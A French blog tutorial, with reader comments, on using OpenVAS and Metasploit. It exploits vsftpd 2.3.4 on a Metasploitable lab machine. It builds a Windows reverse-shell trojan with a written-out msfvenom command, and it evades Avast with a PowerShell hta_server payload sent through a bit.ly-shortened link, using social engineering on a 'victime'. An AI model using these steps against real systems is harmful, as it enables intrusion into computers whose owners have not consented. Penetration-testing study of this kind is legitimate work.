Dans la première partie de Metasploit : le guide ultime du hacker, je vous ai initié à la terminologie, aux interfaces de Metasploit et commencé avec la première phase d’un test d’intrusion : la collecte d’informations.
Aujourd’hui, on va entamer la deuxième phase qui est : le scan de vulnérabilité, pour le faire nous allons utiliser des scanneurs de vulnérabilités automatiques.
Les scanneurs de vulnérabilités sont des programmes désignés à chercher des failles dans les systèmes, applications, réseaux d’une façon automatique.
Leurs fonctionnements reposent sur le fait d’envoyer des données au système cible, puis ils analysent la réponse. Selon cette dernière, ils vont essayer d’énumérer les vulnérabilités présentent sur le système cible en utilisant une base de données comme référence.
L’un des grands avantages d’un scanneur est son automatisme surtout si vous vous trouvez face à un réseau énorme avec plusieurs sous-réseaux. Le scanneur va analyser chaque système dans ce réseau, et si vous lui fournissez les informations d’identifications il va se connecter au système distant et essayer de récupérer des informations importantes (déterminer les applications, services et s’ils sont patchés ou non).
À la fin, le scanneur va vous présenter un rapport détaillé sur tout ce qu’il a pu détecter dans une forme élégante, ce qui va nous être utile dans la phase d’exploitation.
Cependant, ces scanneurs créent généralement beaucoup de trafic dans le réseau, ce qui pose problème si vous voulez rester furtifs. L’autre point faible des scanneurs automatiques étant le manque de flexibilité et de précision, vous allez être confronté à des false positive (vulnérabilité signalée là où il n’en existe pas) et des false negative (vulnérabilité non signalée, mais qui existe).
Nous allons jeter un coup d’œil sur le fameux scanneur : OpenVAS.
OpenVAS
Installation et configuration :
OpenVAS (abréviation d’Open source Vulnerability Scanner) est un logiciel de scan de vulnérabilité sous licence générale publique, qui offre au développeur un service de scan de failles gratuit après que Nessus a pivoté vers le closed source (service payant).
OpenVAS est une très bonne alternative de Nessus et Nexpose, c’est pour cette raison qu’on va l’utiliser comme scanneur majeur dans ce guide.
Tout d’abord, il va falloir l’installer, et comme vu précédemment : si vous êtes sur une distribution orientée sécurité, tous les outils que je vous présente sont déjà installés.
Sinon, il suffit de passer cette commande pour l’installer :
apt install openvas
OpenVAS fonctionne sur le port 443, donc vous devez autoriser ce port sur le firewall avec cette commande :
sudo ufw allow https
Puis vous mettez à jour la base de données :
greenbone-certdata-sync
greenbone-scapdata-sync
Exécutez la commande openvas-check-setup pour voir si openvas est correctement installée, personnellement, j’ai trouvé deux erreurs majeures.
La première erreur consiste à désactiver SELINUX qui est un module de sécurité qui définit les politiques de contrôle d’accès sur les systèmes Linux. Pour le désactiver, utilisez un éditeur de texte pour ouvrir le ficher de configuration :
nano /etc/selinux/config
Puis changez le string de SELINUX à disabled comme le montre la figure suivante :
La deuxième erreur est liée à la base données que l’on doit mettre à jour :
openvasmd --rebuild
Maintenant relancez la commande openvas-check-setup, et vérifiez si tout est en place :
Voilà, on a fini avec l’installation.
L’étape suivante est de créer un utilisateur pour OpenVas :
openvasmd --user=”USER” --new-password=”PASSWORD”
Un utilisateur va être créé pour vous, comme le montre la figure suivante :
Vous pouvez utiliser OpenVAS depuis son interface web mais comme convenu, on va utiliser nos outils au sein de Metasploit.
Maintenant accédez à msfconsole et chargez le plugin d’OpenVas disponible sur Metasploit :
Puis affichez le menu help pour voir les commandes propres à ce plugin :
Après avoir chargé le module, vous devez vous connecter avec le serveur en utilisant la commande openvas_connect, en lui passant les paramètres de connexion créés précédemment :
Les paramètres sont présentés dans l’ordre : nom_d’utilisateur, mot de passe, adresse IP du serveur local et le port.
Le OK à la fin de la commande sert à implémenter le support SSL pour que l’interaction avec le serveur soit sécurisée.
Scan de vulnérabilité :
L’étape suivante consiste à choisir notre cible qu’on va scanner, pour cela j’utilise la commande openvas_target_create :
N.B : je vais utiliser Metasploitable comme machine cible parce qu’il est très riche en failles et c’est un très bon terrain de pratique.
Puis créez un task (tâche) en appliquant une configuration sur la cible, pour voir les configurations disponibles utilisez la commande penvas_config_list :
Maintenant créez le task en précisant le nom de votre scan, un commentaire, l’ID de la configuration que vous voulez appliquer et enfin l’ID de votre cible,
N.B : pour voir les arguments d’une commande, il suffit de rajouter un -h .
Commencez le scan avec la commande openvas_task_start, et vérifiez le progrès avec openvas_task_list :
Vous voyez que le « status : Running« nous indique que notre scan est en cours d’exécution, une fois fini (Done) vous pouvez afficher le rapport de votre scan :
Voilà, vous avez maintenant votre rapport de scan que vous pouvez télécharger sous plusieurs formats disponibles avec la commande openvas_report_download :
Le rapport vous fournit en plus des vulnérabilités un classement par sévérité, ce qui va vous faciliter la phase de l’exploitation qui vient juste après.
EXPLOITATION :
L’exploitation… Le pouvoir qui brille… La parole au hacker… au hacker seul …
(je suis nul en poésie 😂😂).
Bref, l’exploitation est tout simplement la capacité à contrôler une machine. Souvent c’est cette phase que visent les hackers black hat, cependant les white hat ne s’arrêtent pas là et continuent jusqu’à sécuriser (patcher) les failles trouvées.
Mais avant d’entamer votre exploitation, il faut savoir que c’est une phase résultante, car comme on l’a dit au début, le hacking repose sur une méthodologie bien précise et logique. Maintenant, si votre phase de collecte d’informations s’est bien déroulée et que vous avez pu extraire toutes les informations concernant votre cible et vous avez fait votre scan de vulnérabilité (automatique ou manuel) d’une façon approfondie, pour révéler tous les potentiels risques présents, il y a de forte chance que votre exploitation sera un succès.
Tout d’abord, pour exploiter notre machine, je vais devoir m’appuyer sur le rapport de notre scan précédent, précisément sur les failles avec un niveau élevé.
Par exemple, je trouve que le service ftp exécuté sur la machine est obsolète (vsftpd 2.3.4 alors qu’on parle maintenant de 3,X !!), ce qui rend tout le système incroyablement exposé.
Maintenant que vous avez mis le doigt sur le point douloureux, il ne vous reste plus qu’à chercher un l’exploit approprié avec la commande search :
Voilà, 5 exploit s’affiche dont 1 est propre au service ftp, c’est lui notre homme.
N.B: pour ne pas sortir du cadre de Metasploit, sachez qu’on peut exploiter le service ftp juste en utilisant le mot de passe et le nom d’utilisateur par défaut comme indiqué dans le rapport.
Pour choisir cet exploit, j’ai utilisé la commande use suivi du nom de l’exploit, puis show options m’affiche les options nécessaires au fonctionnement de cet exploit d’où le set RHOST, suivi de l’adresse IP de ma cible (machine Metasploitable), le port est le 21 par défaut.
Le dernier Kata, entrez le mot magique exploit :
Boom, on a une session qui nous permettra d’interagir avec la machine.
N.B : si du premier coup ça ne marche pas, réessayez une deuxième fois et ça devrait aller.
Entrez help pour voir quelques commandes utiles à votre exploitation :
Maintenant vous pouvez manipuler la machine comme si elle était devant vous : afficher les logs, les mots de passe, les fichiers, télécharger ou uploader des fichiers ou bien… Détruire le système !.
N.B : Ce n’est pas à chaque exploitation de machine que vous obtiendrez les privilèges de root (super utilisateur), ça dépend de l’exploit utilisé et souvent vous devez procéder à un privilège escalation.
Jusque-là, c’est l’exploitation d’une machine Linux, mais essayons d’exploiter une machine sous Windows….Just for fun 😜.
EXPLOITATION D’UNE MACHINE WINDOWS :
Pour exploiter une machine sous Windows, vous devez tout d’abord énumérer les vulnérabilités existantes sur le système, si vous avez bien suivi le tutoriel vous y parviendrez facilement 😉.
Mais que feriez-vous si votre scan n’a pas révélé une seule faille 🤔, et que votre cible est assez vigilante en appliquant régulièrement des mises à jour à son système !!, et bien dans ce cas, vous devez cibler la faille humaine ;).
L’ingénierie sociale est l’art d’exploiter la chaîne la plus fragile d’une infrastructure informatisée… l’humain.
Dans certains cas, comme je l’ai dit, il est très difficile de s’introduire dans un système si ce dernier est bien maintenu, mis à jour, isolé et protégé…. Dans cette situation, un hacker doit rapidement changer de méthode en essayant de mener son hack par le biais d’un utilisateur du système.
Cependant, l’ingénierie sociale demande beaucoup de créativité et de persévérance, en essayant de trouver le point faible de sa cible (qui est maintenant un humain au lieu d’une machine), afin de le manipuler à faire ce qu’on veut.
Si vous arrivez à gagner la confiance d’un personnel qui s’occupe du système, le grand travail est fait… Il ne reste plus qu’à installer le malware sur la machine.
CRÉATION DE TROJAN :
Ou cheval de Troie, c’est un type de logiciel qu’on peut créer avec msfvenom (vous vous souvenez 😬), il a une apparence légitime similaire à n’importe quel exécutable, PDF, Word ou autre… Sauf qu’il contient des fonctionnalités malveillantes qui permettent à l’attaquant d’espionner sa victime à distance.
En fait, msfvenom est capable de générer des payloads un PEU sophistiqués (fusion avec d’autres logiciels, encodage, cryptage…), mais pour le moment, je vais vous introduire doucement à cet outil en générant un payload basique qui n’est pas du tout réaliste et qu’on va optimiser au fur et à mesure de notre avancement.
Voici la commande qui vous permet de créer le payload :
Msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe > payload.exe
SO, on indique à msfvenom que le payload est destiné à un système Windows, en ajoutant aussi l’adresse IP et le PORT de notre machine qui va recevoir la connexion, et enfin le format du payload et son nom (exe dans notre cas).
Une fois le payload généré, vous devez le transmettre à votre victime, il y a plusieurs façons de le faire, mais tant que votre cible ne vous fait pas confiance vous n’avez aucune chance qu’elle clique dessus.
Maintenant, nous devons préparer le listener qui va recueillir la connexion dés que le payload est exécuté, pour cela, nous devons procéder comme suit :
Puis on exécute le payload sur la machine cible :
N.B : sachez que le système que je cible avec ce payload n’a pas d’antivirus, car il ne peut pas faire face, ne vous inquiétez pas, on va les battre après 😊.
Voilà, nous avons une session meterpreter.
Laissons meterpreter de côté, on y reviendra, on va travailler sur notre payload pour l’optimiser et le rendre un peu plus DISCRÉT.
Maintenant sur la même machine Windows, j’ai installé un antivirus, mis à jour, puis je vais tenter d’exécuter payload.exe :
Sur le coup, Avast a détecté le malware et il l’a supprimé instantanément.
Que faire ?
Vous allez me dire : on va encoder notre payload, binder avec un autre logiciel, ou tout simplement l’encrypter !!
Ma réponse serait : bien joué, MAIS ça ne va pas marcher, ça fait quelques années que ça ne marche plus 😶.
Ce n’est pas grave , on va changer de payload en pivotant vers un payload powershell qui peut bypasser ce genre de AV/IDS.
Voici le scénario, on va générer un payload powershell que nous hébergeons sur notre localhost (notre serveur), puis on envoie un lien de téléchargement à notre cible qui va l’exécuter et ouvrir une connexion inverse à notre machine.
Utilisez l’exploit windows/misc/hta_server, indiquez votre adresse IP puis lancez l’exploit.
Un lien du payload va être généré, mais le lien n’est pas très convainquant 🤨.
Pour cela, je vais le raccourcir en utilisant https://bitly.com/, j’aurai un lien plus charmant comme celui-là :
Maintenant, en ouvrant le lien sur la machine victime et en exécutant le payload j’aurai ma session meterpreter :
Voilà, Avast n’a rien senti 🤪.
Dans ce tutoriel, nous avons vu comment effectuer un scan avec OpenVAS, puis téléchargé un rapport détaillé sur les vulnérabilités existantes du système cible.
Après nous avons vu comment exploiter une faille sur une machine GNU/Linux, et comment générer un trojan exécutable avec msfvenom. À la fin, comment bypasser les AV/IDS avec un payload PowerShell en utilisant un lien pour le transmettre silencieusement afin de compromettre une machine sous Windows.
Dans la prochaine partie, nous verrons comment se balader dans le système avec meterpreter et ses fonctionnalités.
PEACE 😎.
PS : Si vous voulez approfondir vos compétences dans l’utilisation de Metasploit, je vous recommande ma formation complète METASPLOIT MASTERS™.
14 Responses
Bonsoir.
J’utilise Kali Linux pour mes travaux et je suis tombé sur ton article par hasard et Dieu merci il est bon et m’aide bien. Mais j’ai un problème avec Openvas target create Metasploitable [adresse IP ciblé] »scan de Metasploitable », le terminal me renvoie Unknow commande: Openvas.
Salut Cedric,
Apparemment tu n’a pas bien installer openvas correctement, vérifie que tout est bien télécharger avec la commande « openvas-check-setup » puis essaie de le ré-importer sur Metasploit.
merci le frere, force á toi
ps: je vais te hacker bientot….
Lol merci mon ami … J’attends ça impatiemment:)
Force à toi frère tes tutos m’aide à un point tu peux pas imaginer 😃😃😃😃😃😃🙏🙏🙏
ça fait plaisir d’entendre ça mon ami 😉
Salut! Super ton site ! Par contre lorsque je télécharge les complément openvas « greenbone-scapdata-sync » c’est super lent à télécharger, c’est normal??
Oui c’est totalement normal 😉
Salut, lorsque j’essaie de reproduire ton exemple, tout marche bien jusqu’à l’exécution des fichiers, rien ne se passe dans ma fenêtre de commandes. As tu des idées sur l’origine de ce problème ?
salut
svp j’ai un eu un problème lorsque j’installai openvas on affiche ceci
E: Impossible d’ouvrir le fichier verrou /var/lib/dpkg/lock-frontend – open (13: Permission non accordée)
E: Impossible d’obtenir le verrou de dpkg (/var/lib/dpkg/lock-frontend). Avez-vous les droits du superutilisateur ?
Salut, tu doit Supprime les verrous, jusqu’à ce qu’apt-get fonctionne. Voici une liste relativement exhaustive des éventuels verrous :
sudo rm /var/lib/dpkg/lock-frontend
sudo rm /var/lib/apt/lists/lock
sudo rm /var/cache/apt/archives/lock
sudo rm /var/lib/dpkg/lock
Salut j’ai un probleme lors de l’instalation de openvas quand je rentre la commande « sudo ufw allow https » il me dit qu’il ne reconnais pas la commande. Les autre comandes aussi n’ont pas l’air de marcher, pouvez vous me donner un conseils svp.
ps: je suis sur ubuntu
As tu essayé sudo ufw allow 443 ?
Bonjour,
Chouette tuto merci bcp. Mais j’ai un problème avec certaines commandes comme :
– openvas-check-setup
– openvasmd –user=”USER” –new-password=”PASSWORD”
Merci